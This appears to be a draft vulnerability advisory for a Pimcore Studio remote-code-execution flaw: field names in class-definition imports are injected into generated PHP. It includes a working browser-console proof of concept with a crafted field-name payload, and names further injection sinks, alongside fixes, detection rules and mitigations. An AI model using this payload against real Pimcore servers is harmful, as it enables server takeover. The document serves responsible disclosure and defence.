Details
Observed (php:8.3-cli):
The real builder emitted a class body containing the attacker's `__construct()`, and loading the class executed the injected command.
### End-to-end PoC (browser console, against the Studio API)
```js // Run in the browser DevTools console of an authenticated Pimcore Studio session // held by a user with the ordinary "objects" (DataObjects) permission. // NON-DESTRUCTIVE marker payload: writes a sentinel file.
const CLASS_ID = "REPLACE_WITH_A_THROWAWAY_TEST_CLASS_ID";
const fieldName = 'x;function __construct(){touch("/tmp/pimcore_rce_poc");}//';
const def = { layoutDefinitions: { name: "pimcore_root", fieldtype: "panel", datatype: "layout", children: [ { name: fieldName, fieldtype: "input", datatype: "data", title: "poc" } ] } };
const fd = new FormData(); fd.append("file", new Blob([JSON.stringify(def)], { type: "application/json" }), "import.json");
fetch(`/pimcore-studio/api/class/definition/configuration-view/detail/${CLASS_ID}/import`, { method: "POST", credentials: "include", body: fd, }).then(r => r.json()).then(console.log); ```
Steps:
1. As a user with only the `objects` permission, create/own a throwaway DataObject class and note its id (`CLASS_ID`).
2. 2. Open DevTools → Console and run the snippet above. Expected: a success JSON for the import (the class is regenerated).
3. 3. Load any object of that class (open it in Studio, or request it) to autoload the regenerated `var/classes/DataObject/<Class>.php`.
4. 4. Confirm `/tmp/pimcore_rce_poc` was created on the server — proving the field name executed as PHP.
## Q0a / Q0b
- **Q0a** (vendor accepted-risk): not by-design. The sibling enum-option generator enforces an identifier allowlist (`SelectOptionsEnumBuilder.php:188` `/^[A-Z-a-z_][A-Za-z0-9_]*$/`) and the composite-index fix added one — the field-name path simply lacks the equivalent. Source-verified: the only import-path field-name check is `Service.php:297` `preg_match('/<.+?>/', $name)` (angle-brackets only; `;{}()`, spaces, backtick all pass), and `FieldDefinitionPropertiesBuilder.php:30` concatenates the raw `$key` into `protected $<name>;`. No upstream allowlist gate exists. PASS.
- **Q0b** (venue-routed dedup; venue = github-security-advisory): sibling/incomplete-coverage of CVE-2026-5394 / GHSA-r2f4-ff2p-xc64 (DataObject **composite-index** SQL injection), whose fix hardened only `CompositeIndexTrait`. The **field-name** → PHP-codegen RCE (`FieldDefinitionPropertiesBuilder`) and the field-name → ALTER TABLE DDL (`Helper/Dao.php`) are distinct, unfixed sinks. Not covered by GHSA-3234 (Custom Reports SQLi, different feature). Not a duplicate. CLEAR.
- **Secondary sink noted:** `Service.php:517` also concatenates the raw field name into a generated PHP string literal (`public const FIELD_... = '<name>';`) — a second codegen-injection point (string-literal breakout via `'`), same root cause; the allowlist fix closes both.
## Suggested Fix
Apply an identifier allowlist to field names at the model boundary, identical in spirit to the enum-option guard and the composite-index fix. In `models/DataObject/ClassDefinition/Data.php` (e.g. in `setName()` or a central validity check invoked from `saveClassInternal()`), reject any name not matching `/^[a-zA-Z][a-zA-Z0-9_]{0,62}$/`:
```php // 63-char cap keeps the name within MySQL's 64-byte identifier limit (1 leading letter + ≤62). if (!preg_match('/^[a-zA-Z][a-zA-Z0-9_]{0,62}$/', $name)) { throw new \InvalidArgumentException(sprintf('Invalid field name: %s', $name)); } ```
Additionally, defense-in-depth: use `quoteIdentifier()` for `$colName`/`$indexName` in `models/DataObject/ClassDefinition/Helper/Dao.php`, and never interpolate identifiers into generated PHP without allowlisting. Enforce the same check in the Studio import controller/service so client-side-only validation cannot be bypassed via the API.
**Privilege-model fix (root cause, separate from the input filter).** A class-definition import changes the database schema and generates server-side PHP, yet it is gated only by the content-editor `objects` permission. Gate class-definition import/save behind a dedicated administrative permission (or `admin`), distinct from `objects`.
**Operator-side detection / mitigation (deployable today, before a patch):**
- **Detection:** File Integrity Monitoring on `var/classes/DataObject/*.php` — alert on unexpected changes, and specifically on the appearance of `function`/`__construct(` tokens in a generated class body. Raise the class-definition-import audit event to a high-priority alert. Flag any non-admin POST to `.../class/definition/configuration-view/detail/*/import`.
- - **Interim mitigation:** restrict the import endpoint to administrators via a custom security voter; or disable class-definition import in production; or add a WAF rule limiting POST `.../class/definition/configuration-view/detail/*/import` to trusted operators.
### Additional codegen-injection sinks sharing this root cause
The same "unvalidated identifier → generated PHP" pattern exists at **other identifier boundaries**:
- **Class NAME → `ClassBuilder.php:104`**: `'class '.ucfirst($classDefinition->getName()).' extends '...`. The only gate is `ClassDefinition.php:1149` `preg_match('/^[a-zA-Z]\w+/', getName())` — **missing the `$` end-anchor**, so `Foo){};<php>` passes the prefix match.
- - **FieldCollection / ObjectBrick KEY → `FieldCollectionClassBuilder.php:58`** (`'class '.ucfirst($definition->getKey()).' extends '`) and the objectbrick equivalent — reached via their own import endpoints.
**Exploitability caveat:** unlike the runtime-confirmed field-name vector, the class-name vector is **NOT independently confirmed as RCE** and has a structural blocker. The class name determines the generated file's path, and PHPClassDumper writes the file but does not include it — the generated class is executed only when the autoloader maps a clean class reference. The field-name vector is reliable precisely because it keeps the filename clean. The class-name/key sinks are therefore reported here as **fix-completeness / defense-in-depth** (anchor the regex), not as a second confirmed RCE.
## Disclosure Timeline
- 2026-05-29: Discovered (sibling sweep of CVE-2026-5394); RCE sink runtime-confirmed in a lab harness using the unmodified builder source.
- - (Reported to vendor: to be filled on submission via GitHub Security Advisory.)